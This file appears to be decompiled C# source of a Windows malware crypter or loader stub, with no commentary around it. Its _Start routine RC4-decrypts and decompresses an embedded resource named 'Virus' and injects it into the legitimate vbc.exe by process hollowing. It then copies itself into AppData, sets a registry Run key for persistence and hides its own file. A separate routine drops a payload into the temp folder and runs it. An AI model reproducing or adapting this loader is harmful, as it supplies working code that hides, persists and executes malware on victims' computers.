using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using My;
using My.Resources;
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Windows.Forms;
namespace A
{
    public class A
    {
        public static void _Start()
        {
            byte[] bytes = A.DeCompress(A.Proper_RC4(Resources.Virus, "Password"));
            RunPE.InjectPE(bytes, "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
            string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\vbc.exe";
            try
            {
                File.Copy(Application.ExecutablePath, text);
                MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("vbc", text, RegistryValueKind.String);
            }
            catch (Exception expr_66)
            {
                ProjectData.SetProjectError(expr_66);
                ProjectData.ClearProjectError();
            }
            try
            {
                File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
            }
            catch (Exception expr_81)
            {
                ProjectData.SetProjectError(expr_81);
                ProjectData.ClearProjectError();
            }
        }
        private static byte[] Proper_RC4(byte[] Input, string Keys)
        {
            byte[] bytes = Encoding.Default.GetBytes(Keys);
            uint[] array = new uint[256];
            checked
            {
                byte[] array2 = new byte[Input.Length - 1 + 1];
                uint num = 0u;
                do
                {
                    array[(int)num] = num;
                    num += 1u;
                }
                while (num <= 255u);
                num = 0u;
                uint num2;
                do
                {
                    num2 = (uint)(unchecked((ulong)checked(num2 + (uint)bytes[(int)unchecked((ulong)num % (ulong)((long)bytes.Length))] + array[(int)num])) & 255uL);
                    uint num3 = array[(int)num];
                    array[(int)num] = array[(int)num2];
                    array[(int)num2] = num3;
                    num += 1u;
                }
                while (num <= 255u);
                num = 0u;
                num2 = 0u;
                int arg_89_0 = 0;
                int num4 = array2.Length - 1;
                for (int i = arg_89_0; i <= num4; i++)
                {
                    num = (uint)(unchecked((ulong)num) + 1uL & 255uL);
                    num2 = (uint)(unchecked((ulong)checked(num2 + array[(int)num])) & 255uL);
                    uint num3 = array[(int)num];
                    array[(int)num] = array[(int)num2];
                    array[(int)num2] = num3;
                    array2[i] = (byte)((uint)Input[i] ^ array[(int)(unchecked((ulong)checked(array[(int)num] + array[(int)num2])) & 255uL)]);
                }
                return array2;
            }
        }
        public static byte[] DeCompress(byte[] input)
        {
            MemoryStream stream = new MemoryStream(input);
            DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress);
            int num = 0;
            int num2 = 0;
            checked
            {
                byte[] array;
                while (true)
                {
                    array = (byte[])Utils.CopyArray((Array)array, new byte[num2 + 100 + 1]);
                    int num3 = deflateStream.Read(array, num, 100);
                    if (num3 == 0)
                    {
                        break;
                    }
                    num += num3;
                    num2 += num3;
                }
                array = (byte[])Utils.CopyArray((Array)array, new byte[num2 - 1 + 1]);
                return array;
            }
        }
        public static void Drop_Run(byte[] bid)
        {
            File.WriteAllBytes(Path.GetTempPath() + "\\%Service.exe%", bid);
            Process.Start(Path.GetTempPath() + "\\%Service.exe%");
        }
    }
}